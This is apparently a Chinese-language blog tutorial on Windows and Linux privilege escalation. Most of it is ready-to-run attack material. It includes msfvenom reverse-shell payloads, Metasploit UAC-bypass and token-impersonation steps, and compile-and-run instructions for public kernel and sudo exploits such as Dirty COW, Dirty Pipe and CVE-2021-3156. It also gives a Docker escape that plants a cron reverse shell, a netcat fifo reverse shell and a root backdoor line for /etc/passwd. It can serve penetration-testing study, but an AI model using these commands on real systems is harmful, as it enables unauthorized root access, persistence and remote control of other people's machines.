在学习提权之前,我们有必要来了解一下常见的权限有哪些。
后台权限 所谓的后台权限,就是通过弱口令,SQL注入等手段进入网站的后台。在此权限下,能够执行后台的一些功能,比如发布文章,但是执行的功能也仅仅局限于后台。
数据库权限 一般通过弱口令或注入得到,在此权限下,可以对数据库文件进行修改。
普通权限 包括网站权限和普通的用户权限。
网站权限就是我们通常获得的Shell,常常通过一些RCE或文件上传,文件包含,反序列化等手段直达Shell。在此权限下,我们可以更改网站的源代码或配置文件,也能收集到操作系统的相关信息。
用户权限要比网站权限更高一些。
System权限 要么通过高危的系统漏洞,要么通过网站权限等提权得到。在此权限下,就相当于操作自己的电脑。
干货 | 常用提权辅助工具推荐
1.Windows权限提升

1
2
3
4
5
6
7
|
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/WindowsExploits/Exploits
https://github.com/AusJock/Privilege-Escalation
linux提权辅助脚本
https://github.com/jondonas/linux-exploit-suggester-2
windows提权辅助脚本.
https://github.com/Ethancck/Windows-Exploit-Suggester
|
1.1.系统内核提权
什么是内核提权,就是利用Windows自带的一些漏洞但是目标服务器没有修复打补丁从而进行权限提升
1
2
3
4
5
|
whoami #查看当前权限
whoami /groups #
systeminfo #查询补丁信息
wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe
|

将补丁编号放到提权辅助页面进行查找:
https://i.hacking8.com/tiquan/ 已关闭网站
https://detect.secwx.com/
使用Powershell脚本进行搜集,执行这个powershell脚本大概率要有足够的权限,不然都不让你用
https://github.com/rasta-mouse/Sherlock
1
2
3
4
5
6
7
8
9
10
11
12
|
PS C:\Users\winlog\Desktop> get-executionpolicy //查看当前执行的策略限制
Restricted
PS C:\Users\winlog\Desktop> set-executionpolicy remotesigned
//RemoteSigned策略允许运行本地脚本和从Internet下载的已签名脚本(已签名很重要,如果没有签名也不能执行)。如果你完全信任你的系统环境
Set-ExecutionPolicy Unrestricted
//请注意,修改执行策略可能需要管理员权限。在运行上述命令时,你可能需要以管理员身份运行PowerShell。
PS C:\Users\winlog\Desktop> Import-Module .\Sherlock.ps1
PS C:\Users\winlog\Desktop> .\Sherlock.ps1
Find-ALLVulns
|

KernelHub 针对常用溢出编号指定找EXP
https://github.com/Ascotbe/Kernelhub
1.2.配置不当提权
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞那么就能够借此服务进行权限劫持,例如DLL劫持
1.2.1.使用MSF的 service_permissions模块进行提权
1
2
3
4
5
6
7
8
9
10
11
12
13
|
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.108.31 lport=6666 -f exe > shell.exe
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 6666
exploit
使用service_permissions进行提权
use exploit/windows/local/service_permissions
set session 1
exploit
|
service_permissions模块会使用两种方式获取system权限
1.如果以管理员权限运行会尝试创建并运行一个新的服务
2.如果当前权限不允许创建服务会判断哪些服务的文件或文件夹的权限有问题并对其进行劫持
在劫持服务时会创建一个可执行程序其文件名和安装路径都是随机的

1.2.2.使用Windows可信任服务路径提权
可信任服务路径(Trusted Service Paths)漏洞利用了Windows文件路径解析的特性,可信任服务路径指的是包含空格且没有引号的路径,比如像这样的路径:

1
2
3
|
通过以下这条命令查找系统中可信任服务路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
|

如果存在这种服务,检查对这种服务目录是否存在写入权限,使用windows自带的icacls查看路径受影响文件夹权限
1
|
icacls "C:/Program Files"
|

1
2
3
4
|
M 代表修改权限
F 代表完全控制
CI 代表从属容器将继承访问控制项
OI 代表从属文件将继承访问控制项
|
1.3.AlwaysInstallElevated提权
Windows操作系统提权之系统服务漏洞提权Always Install Elevated_alwaysinstallelevated-CSDN博客
介绍:
注册表AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以SYSTEM权限运行安装文件。
如果启用此策略设置项,那么任何权限的用户都能以SYSTEM权限来安装恶意的MSl(Microsoft Windows Installer)文产生该漏洞的原因是由于用户在策略编辑器中开启了Windows Installer特权安装功能。
1
2
|
组策略---计算机配置---管理模板---Windows组件---Windows Installer---永远以高权限进行安装:选择启用
组策略---用户配置---管理模板---Windows组件---Windows Installer---永远以高权限进行安装:选择启用
|
gpedit.msc 打开组策略管理器,注意:在 Windows 系统中,gpedit.msc(组策略编辑器)默认仅在 Windows 专业版、企业版和教育版 中可用。如果你使用的是 Windows 家庭版,则无法直接打开 gpedit.msc,因为该版本未包含组策略管理器。

1
2
3
4
|
使用命令行直接修改---需要权限
reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
|
PowerUp:
https://github.com/PowerShellMafia/PowerSploit
可以使用该脚本来检查是否开启
1
2
3
4
5
6
7
8
9
10
11
|
powershell -ep bypass iex(new-object
net.webclient).downloadstring('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1');Get-RegistryAlwaysInstallElevated
powershell -ep bypass iex(new-object
net.webclient).downloadstring('http://150.158.137.72:8000/PowerUp.ps1');Get-
RegistryAlwaysInstallElevated
通过注册表判断
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果没有注册表项的话,那就代表没有开启,反之显示0x1则代表开启
|
PowerUp攻击模块实战 - micr067 - 博客园
1.3.1.使用MSI Wrapper手动进行提权
1.下载exemsi (将exe转换为msi)
Convert EXE to MSI - Convert executable installers to MSI packages





其它步骤默认即可,一直Next下去
2.msf生成exe木马文件
3.使用exemsi将exe封装为msi
上传这个msi文件到目标主机,运行该文件,即可提权成功
1
2
3
|
msiexec /q /i phpstudy_pro.msi
/q 隐藏界面
/i 安装程序
|
1.3.2.使用MSF自带的模块进行提权
1
2
3
|
exploit/windows/local/always_install_elevated
set session 2
exploit
|

1.3.3.直接使用MSF生成MSI后缀后门
1
2
|
msfvenom -p windows/exec CMD=cmd -f msi > shell.msi
msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=6666 -f msi -o 1.msi
|
只要运行安装该程序,就会跳出一个对话框,权限是System权限

1.4.DLL劫持提权
原理:
Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。通常,Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:
攻击过程:收集进程加载的dll-制作dll木马并上传-替换dll启动应用后成功
系统文件的DLL一般是不能修改的,所以一般选择未知文件或数字签名文件
那么如何发现这个应用是未知文件或数字签名文件呢,使用火绒剑进行判断
1
2
3
|
#生成dll木马
msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=6666 -f dll > shell.dll
将dll木马名称替换为可以劫持使用的dll名称
|
1.5.BypassUAC提权
BypassUAC提权.pdf
1.5.1.什么是用户账户控制UAC
Microsoft的Windows Vista和Windows Server2008操作系统引入了一种良好的用户帐户控制架构,以防止系统范围内的意外更改,这种更改是可以预见的,并且只需要很少的操作量。
换句话说,它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows系统保持不变。

1.5.2.UAC状态
这里的UAC状态是默认,也就是中等级别,至于打开这个UAC可以在运行框中输入"msconfig",然后工具一栏就能看到更改UAC设置。一般UAC关闭的情况下使用getsystem就能够提权成功。

每次更改需要重新启动系统
1
|
use exploit/windows/local/bypassuac
|
这里在尝试使用getsystem提权,发现无法提权,那么就需要使用UAC进行绕过了


1
2
3
4
5
|
use exploit/windows/local/bypassuac ##选择bypass
options ##查看选项
set session 1 ##设定会话
set lport 5555 ##设定反弹端口,这里不设置也可以,但是有时候直接反弹回来,会出现反弹不成功的情况。
run ##执行
|

1.6.土豆家族提权
window提权之土豆家族_sweetpotato提权-CSDN博客
https://zhuanlan.zhihu.com/p/324113936
利用土豆家族提权的前提条件是拥有SelmpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限,以下用户拥有SelmpersonatePrivilege权限(而只有更高权限的账户比如SYSTEM才有SeAssignPrimaryTokenPrivilege权限):
本地管理员账户(不包括管理员组普通账户)和本地服务账户
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
C:\Users\24767>whoami /priv
特权名 描述 状态
=============================== ========================== =====
SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用
SeLockMemoryPrivilege 锁定内存页 已启用
SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用
SeTcbPrivilege 以操作系统方式执行 已启用
SeSecurityPrivilege 管理审核和安全日志 已启用
SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用
SeLoadDriverPrivilege 加载和卸载设备驱动程序 已禁用
SeProfileSingleProcessPrivilege 配置文件单个进程 已启用
SeIncreaseBasePriorityPrivilege 提高计划优先级 已启用
SeCreatePagefilePrivilege 创建一个页面文件 已启用
SeCreatePermanentPrivilege 创建永久共享对象 已启用
SeRestorePrivilege 还原文件和目录 已禁用
SeShutdownPrivilege 关闭系统 已禁用
SeAuditPrivilege 生成安全审核 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeImpersonatePrivilege 身份验证后模拟客户端 已启用
SeCreateGlobalPrivilege 创建全局对象 已启用
|
DAY133权限提升-Windows权限提升篇&溢出漏洞&土豆家族&通杀全系&补丁对比&EXP筛选_badpotato.exe-CSDN博客
1
2
3
4
5
6
7
8
9
10
11
12
|
https://github.com/BeichenDream/GodPotato
https://github.com/antonioCoco/RoguePotato
https://github.com/wh0amitz/PetitPotato
https://github.com/antonioCoco/JuicyPotatoNG
https://github.com/BeichenDream/PrintNotifyPotato
https://github.com/BeichenDream/PrintNotifyPotato
https://github.com/zcgonvh/EfsPotato
https://github.com/klezVirus/CandyPotato
https://github.com/crisprss/RasmanPotato
https://github.com/S3cur3Th1sSh1t/MultiPotato
https://github.com/CCob/SweetPotato
https://github.com/Prepouce/CoercedPotato
|
1.6.1.Juicy Potato
https://github.com/ohpe/juicy-potato
功能: 基于 COM 对象的 DCOM 提权。
适用系统: Windows Server 2008/2012/2016,Windows 7/10。
机制: 利用 NT AUTHORITY\LOCAL SERVICE 或 NETWORK SERVICE 的特权,通过指定的 CLSID 和 COM 服务劫持 SYSTEM 权限。
1.6.2.Rotten Potato
功能: 利用 NTLM 反射实现提权。
适用系统: Windows 7/10。
机制: 使用 Token Impersonation 技术,通过恶意 COM 对象劫持 SYSTEM Token。
1.6.3.Sweet Potato
https://github.com/CCob/SweetPotato
功能: 针对 JuicyPotato 不适用的现代系统进行提权。
适用系统: Windows Server 2019,Windows 10(新版)。
机制: 同样基于 COM 对象的漏洞,但兼容性更强,适配新系统。
1.6.4.printSpoofer
https://github.com/BeichenDream/PrintNotifyPotato
https://github.com/itm4n/PrintSpoofer
功能: 针对 Windows 打印服务的漏洞进行提权。
适用系统: Windows Server 2016/2019,Windows 10。
机制: 滥用打印假脱机程序(Print Spooler)的权限进行 Token Impersonation。
1.6.5.RoguePotato
https://github.com/antonioCoco/RoguePotato/releases/tag/1.0
功能: 替代 JuicyPotato 的一种新方法。
适用系统: Windows Server 2019,Windows 10(新版)。
机制: 通过伪造的远程服务与 NTLM 身份验证劫持 SYSTEM Token。
1.7.Windows本地计划任务提权—本地用户
第101天:权限提升-Win 本地用户&进程注入&令牌窃取&AT&SC&PS 服务命令-CSDN博客
1.7.1.AT
适用版本:Win2003,Win7之前
1
|
at 21:00 /interactive cmd //在21:00时已System权限运行cmd
|
1.7.2.SC
适用版本:Win2008之前版本
1
2
3
4
|
#创建一个名叫 syscmd 的新的交互式的 cmd 执行服务
sc Create syscmd binPath= "cmd /K start" type= own type= interact
#运行服务
sc start syscmd
|
1.7.3.PS
需要初始权限为管理员administrator权限才能执行成功,并且主机是WinServer服务器,不是个人主机,因为这要远程调用PSexec权限
PsTools - Sysinternals

1
|
psexec.exe -accepteula -s -i -d cmd #调用运行 cmd
|



1.8.进程迁移注入
Windows提权 —— 进程注入提权 - MGh0st - 博客园
适用版本:Win2003/Win2008/Win2016,不是低权限用户,最好是administrator权限,有管理员权限都可以试试
1.8.1.使用pinjector本地进程迁移注入
1
2
3
|
pinjector -l //列出进程信息
pinjector -p 12304 cmd.exe 6688 //将system权限进程注入到本地的6688端口
nc localhost 6688 //监听本地6688端口
|
1.8.2.使用MSF进程迁移注入
1
2
3
|
getuid //最好是管理员administrator权限,本地低权限不好迁移
ps //查看进程号
migrate 376 //迁移为system进程
|

1.9.令牌窃取提权
适用版本:Win2008/Win2012/Win2016/Win2019
执行的前提是身份一定是大于iis用户,最好是administrator权限,否则无法执行
1
2
3
|
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
|

1.9.1.烂土豆配合令牌窃取
从IIS权限提升至System权限,原理是正常上传webshell只能获得web权限,无法提权到system,配合烂土豆,执行,溢出可以获得system权限
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe
1
2
3
4
|
execute -cH -f ./potato.exe #执行烂土豆程序
use incognito #加载窃取模块
list_tokens -u #查看可窃取的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #窃取令牌
|
2.Linux权限提升

2.1.系统内核提权
内核提权是最简单有效的,我们需要先对Linux主机进行信息收集,在寻找对应EXP进行漏洞利用
1
2
3
4
|
uname -a //查看内核版本
lsb_release -a
cat /proc/version //查看当前系统所使用的 Linux 内核版本信息
cat /etc/*-release //查看当前系统的发行版信息
|

1
|
searchsploit linux //搜索对应版本EXP
|
https://github.com/The-Z-Labs/linux-exploit-suggester //获取当前环境可能存在的CVE漏洞
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
1
2
|
运行该脚本,会自动帮你收集内核信息对应的EXP
而且会给你EXP的地址,自己下载编译就行
|

1
2
|
#文件不落地信息收集方式---机器出网
curl -L https://github.com/carlospolop/PEASS-ng/releases/download/20230604-b0985b44/linpeas.sh | sh
|
1
2
3
4
5
6
7
8
9
10
|
两台主机
kali:192.168.61.1
centos:192.168.61.100
方法1:将linpeas.sh文件下载或上传到kali
kali:nc -lvvp 81 |tee linpeas.txt 监听81端口,并将链接数据保存在linpeas.txt文件中
到linpeas.sh目录下开启http共享:python3 -m http.server 80
less -r linpeas.txt 由于传回来的文件为二进制文件,所以需要使用less -r命令进行读取
centos:curl 192.168.61.1/linpeas.sh | sh |nc 192.168.61.1 81 在内存中运行linpeas.sh文件,并且链接kali81端口
|
1
2
3
4
5
6
7
|
方法2:
kali:nc -lvnp 80 < linpeas.sh
centos:cat < /dev/tcp/192.168.61.1/80 | sh 不用使用curl命令
kill -9 %1 关闭最近一个进程
rlwrap nc -lvvp 443 反弹shell时增强交互性
|

2.1.1.CVE-2016-5195—脏牛漏洞提权
Dirty COW漏洞是一种发生在写时复制的竞态条件漏洞,它影响所有基于Linux的操作系统,包括Android,这个漏洞2007年起就存在于Linux内核中,直到2016年才被发现和修复。可以利用这个漏洞修改受保护的文件,也可以利用这个漏洞提权
影响版本:Linux Kernel >= 2.6.22
1
2
3
4
5
6
7
8
|
searchsploit dirty 查找脏牛漏洞exp
locate 40847.cpp 查找exp路径
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp . 复制exp到当前路径
python -m SimpleHTTPServer kali开启http共享
wget http://192.168.61.128:8000/40847.cpp 靶机下载exp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil 编译
python -c 'import pty; pty.spawn("/bin/bash")' 开启交互式脚本
./dcow 靶机执行脚本
|
2.1.2.CVE-2024-1086
影响版本:5.14 <= Linux内核 <=6.6
EXP:https://github.com/Notselwyn/CVE-2024-1086
https://github.com/Notselwyn/CVE-2024-1086/releases/tag/v1.0.0 Debian/Ubuntu使用这个
1
2
3
4
5
|
uname -a 查看内核版本
git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make
./exploit
|
2.1.3.CVE-2021-4034—利用Linux Polkit 权限提升漏洞
CVE-2021-4034:Linux Polkit 权限提升漏洞复现及修复-CSDN博客
影响版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
Debain stretch policykit-1 < 0.105-18+deb9u2
Debain buster policykit-1 < 0.105-25+deb10u1
Debain bookworm, bullseye policykit-1 < 0.105-31.1
Ubuntu 21.10 (Impish Indri) policykit-1 < 0.105-31ubuntu0.1
Ubuntu 21.04 (Hirsute Hippo) policykit-1 Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) policykit-1 < 0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) policykit-1 <0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) policykit-1 <0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) policykit-1 <0.105-4ubuntu3.14.04.6+esm1)
CentOS 6 polkit < polkit-0.96-11.el6_10.2
CentOS 7 polkit < polkit-0.112-26.el7_9.1
CentOS 8.0 polkit < polkit-0.115-13.el8_5.1
CentOS 8.2 polkit < polkit-0.115-11.el8_2.2
CentOS 8.4 polkit < polkit-0.115-11.el8_4.2
|
exp下载地址:https://github.com/arthepsy/CVE-2021-4034
1
2
3
|
下载后编译上传:gcc cve-2021-4034-poc.c -o exp
给执行权限:chmod +x exp
./exp
|
1
2
3
4
5
|
cd /tmp
wget https://github.com/berdav/CVE-2021-4034
unzip CVE-2021-4034
make
./CVE-2021-4034
|

2.1.4.CVE-2022-0847—Linux脏管道提权
影响版本:Linux Kernel版本 >= 5.8
Linux Kernel版本 < 5.16.11 / 5.15.25 / 5.10.102
CentOS 8 默认内核版本受该漏洞影响
CentOS 7 及以下版本不受影响
EXP下载地址:https://github.com/nomi-sec/PoC-in-GitHub/blob/master/2022/CVE-2022-0847.json
exp:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/
exp:https://github.com/r1is/CVE-2022-0847
405
405
1
2
3
4
5
6
7
8
9
10
|
漏洞利用:
https://haxx.in/files/dirtypipez.c
gcc -o exp CVE-2022-0847.c
./exp /usr/bin/su //任何具有suid
gcc exploit.c -o exp 编译exp
./exp
su root
密码aaron
mv /tmp/passwd.bak /etc/passwd 还原password文件
|
2.1.5.CVE-2023-0386
该漏洞存在于Linux内核的OverlayFS子系统中,是一个权限提升漏洞。当用户将一个具有权限的文件从一个nosuid挂载点复制到另一个挂载点时,未经授权的本地用户可以执行 setuid文件,导致权限提升。
漏洞产品: linux kernel - overlay文件系统
影响范围: Linux:Kernel v5.11-rc1 - v6.2-rc5](Linux:Kernel v5.11-rc1 - v6.2-rc5)
漏洞利用exp:[https://github.com/chenaotian/CVE-2023-0386(](https://github.com/chenaotian/CVE-2023-0386()主要针对于ubuntu操作系统)
1
2
|
gcc -Wall exp.c `pkg-config fuse --cflags --libs` -o exp
./exp /tmp
|
漏洞复现exp2:https://github.com/xkaneiki/CVE-2023-0386
1
2
3
4
5
6
7
|
make all 编译
启动两个终端,在第一个终端中输入
./fuse ./ovlcap/lower ./gc
在第二个终端输入
./exp
|
2.1.6.MSF中的内核提权模块
1
|
run post/multi/recon/local_exploit_suggester
|

2.1.7.Linux权限提升信息收集脚本
自动化提权:https://github.com/liamg/traitor
一款自动化提权工具
1
2
3
|
traitor -a -p //使用-a/--any标志运行以查找潜在漏洞,尝试利用每个漏洞,如果获得 root shell,则停止。
traitor -p -e docker:writable-socket
|

1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
自动化提权:
https://github.com/AlessandroZ/BeRoot
信息收集:
https://github.com/rebootuser/LinEnum
https://github.com/sleventyeleven/linuxprivchecker
漏洞探针:
https://github.com/mzet-/linux-exploit-suggester
https://github.com/jondonas/linux-exploit-suggester-2
二进制文件提权命令查询平台:
Linux:https://gtfobins.github.io/
Windows:https://lolbas-project.github.io
|
2.2.SUID提权
https://gtfobins.github.io/
Linux提权之suid篇_bash -p-CSDN博客
https://juejin.cn/post/7163436481401323550
suid可以让文件调用者暂时获得文件拥有者的权限,suid提权的思路让普通用户运行root用户所拥有的suid文件,从而达到提权的目的
1
2
3
|
#自己设置某个软件为SUID权限
chmod u+s filename //设置某个软件具有SUID权限
chmod u-s filename //去除SUID权限
|

1
2
3
4
|
#查找SUID权限文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
|

2.2.1.find SUID提权

1
2
3
|
find linux-exploit-suggester.sh -exec whoami \;
find linux-exploit-suggester.sh -exec "/bin/bash" \;
find / -name lsec -exec /bin/bash -p \; //获取root权限交互
|

除find外,以下命令具有SUID权限也可以用来提权nmap,vim,bash,more,less,nano,cp
2.2.2.Vim SUID提权
利用vim提权的思路是修改etc/passwd文件,为自己添加一个有root权限的用户
1
2
3
4
5
|
chmod u+s /usr/bin/vim.basic
vim.basic /etc/passwd
将toor:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/toor:/bin/bash添加到/etc/passwd中
su toor
密码123
|
2.3.Sudo提权
【Linux】sudo提升权限(入门)-CSDN博客
当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或-i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区谥出。只要存在sudoers文件(通常是/etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限
1
|
sudo -l //查看当前用户哪些命令可以使用root权限
|

将以上列举出可以使用root权限执行的命令去https://gtfobins.github.io/gtfobins/at/这个网站寻找是否存在sudo提权的可能
2.3.1.CVE-2021-3156—sudo提权
【kernel exploit】CVE-2021-3156 sudo漏洞分析与利用
影响版本:
- 1.9.0 <= Sudo <= 1.9.5 p1 所有稳定版(默认配置)
- 1.8.2 <= Sudo <= 1.8.31 p2 所有老版本
- 最新的系统,如Ubuntu 20.04 (Sudo 1.8.31), Debian 10 (Sudo 1.8.27), Fedora 33 (Sudo 1.9.2) 都受到影响。
漏洞描述:CVE-2021-3156(该漏洞被命名为“Baron Samedit”)——sudo在处理单个反斜杠结尾的命令时,发生逻辑错误,导致堆溢出。当sudo通过-s或-i命令行选项在shell模式下运行命令时,它将在命令参数中使用反斜杠转义特殊字符。但使用-s或 -i标志运行sudoedit时,实际上并未进行转义,从而可能导致缓冲区溢出。只要存在sudoers文件(通常是 /etc/sudoers),攻击者就可以使用本地普通用户利用sudo获得系统root权限。漏洞引入时间为2011年7月(commit 8255ed69),漏洞存在时间达10年。
漏洞检测方法:
1
2
3
|
在非root权限下,运行命令$ sudoedit -s /。
若出现以sudoedit:开头的错误响应,则系统受到此漏洞影响;
若出现以usage:开头的错误响应,则表示该漏洞已被补丁修复。
|

exp:https://github.com/blasty/CVE-2021-3156
1
2
3
4
|
wget https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
make
./sudo-hax-me-a-sandwich
|
2.3.2.CVE-2023-22809
CVE-2023-22809:Sudo权限提升漏洞-腾讯云开发者社区-腾讯云
影响版本:****sudo 1.8 到 1.9.12p1
漏洞描述:由于Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " –" 参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升。
EXP:https://github.com/n3m1sys/CVE-2023-22809-sudoedit-privesc/
2.4.Docker容器逃逸提权
后渗透——Docker容器逃逸-CSDN博客
Linux 提权-Docker 容器 - 扛枪的书生 - 博客园
Docker逃逸:原理、方法与防范-CSDN博客
查看是否存在docker环境
1
2
3
4
5
6
7
8
|
1.1:查找.dockerenv文件
docker下默认存在dockerenv文件,而非docker环境中则没有
1.2.查询cgroup进程
cat /proc/1/cgroup
1.3.查看容器环境变量
cat /proc/1/environ
|
首先以特权模式运行一个docker容器
1
|
docker run -it --privileged 镜像ID /bin/bash
|
查看磁盘文件

新建一个目录,将/dev/vda1挂载至新建的目录
1
2
|
mkdir /test
mount /dev/vda1 /test
|
写入计划任务到宿主机
1
2
3
|
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
nc -lvvp 6666
|
2.5.定时任务提权
定时任务(cron job)被用于安排那些需要被周期性执行的命令。利用它,你可以配置某些命令或者脚本,让它们在某个设定的时间内周期性地运行。cron是Linux或者类Uniⅸ系统中最为实用的工具之一。cron服务(守护进程)在系统后台运行,并且会持续地检查/etc/crontab文件和/etc/cron/目录。它同样也会检查/var/spool/cron/目录。*
原理:****提权的原理为计划任务以root权限运行,计划任务中的脚本其他用户有写入的权限,或者脚本所属组为其他用户,则可以进行计划任务提权。
1
2
|
crontab -l //查看当前用户的计划任务
cat /etc/crontab //查看服务器所有用户的计划任务
|

1
2
|
//每分钟以root权限执行/etc/cron.daily目录下的backup脚本
*/1 * * * * root /etc/cron.daily/backup
|
如果当前低权限用户有权限修改这个backup脚本,那么就可以写个反弹shell命令,计划任务每分钟就会以root权限反弹shell到本机实现权限提升
1
|
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.165.31 lport=9999 R
|

1
2
3
4
5
6
7
8
|
# 使用命令
# echo "mkfifo /tmp/htukkim; nc 192.168.165.31 9999 0</tmp/htukkim | /bin/sh >/tmp/htukkim 2>&1; rm /tmp/htukkim" > shell.sh && chmod +x shell.sh
# echo > "--checkpoint-action=exec=sh shell.sh"
# echo > "--checkpoint=1"
# nc -lvnp 9999
|
此时成功接收到root用户的反弹shell会话

2.6.NFS共享服务提权
Linux提权姿势二:利用NFS提权-腾讯云开发者社区-腾讯云
Linux 提权-NFS 共享-CSDN博客
NFS,即network file system,是一种网络文件系统,它允许用户将某个目录或文件挂载到网络上以实现共享。默认情况下,NFS使用2049端口进行通信,其功能与Windows中的文件共享类似。然而,如果NFS的配置不当,就可能被利用来提升特权级别。
1
|
cat /etc/exports //查看是否开启NFS
|
/etc/exports是 Linux 系统中用于配置 NFS(网络文件系统) 共享的配置文件,它定义了哪些目录可以被网络中的其他计算机访问,以及这些计算机的访问权限。

如上图NFS配置可知,/home/peter这是你想要共享给网络中其他计算机的目录。这里的 ***** 是一个通配符,表示允许 任何网络中的客户端 访问这个共享目录。表示允许客户端对共享目录进行 读写(read-write) 操作。
1
2
|
showmount -e 192.168.165.3
//查询 NFS 服务器(192.168.165.3)当前共享(导出)的所有目录及其访问权限。
|
创建NFS目录并挂载
1
2
3
4
5
6
7
8
|
# 使用命令
mkdir /tmp/nfs Kali攻击机进行的操做
mount -o rw,vers=3 192.168.165.3:/home/peter /tmp/nfs
将 NFS 服务器(192.168.165.3)上的共享目录 /home/peter
挂载到本地目录 /tmp/nfs
使用 NFSv3 协议(vers=3)
以读写模式(rw)挂载
|

1
2
3
4
|
echo -e '#include <unistd.h>\n#include <stdlib.h>\n\nint main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/nfs/suid-shell.c
gcc -static suid-shell.c -o suid-shell1
chmod +s suid-shell1
|
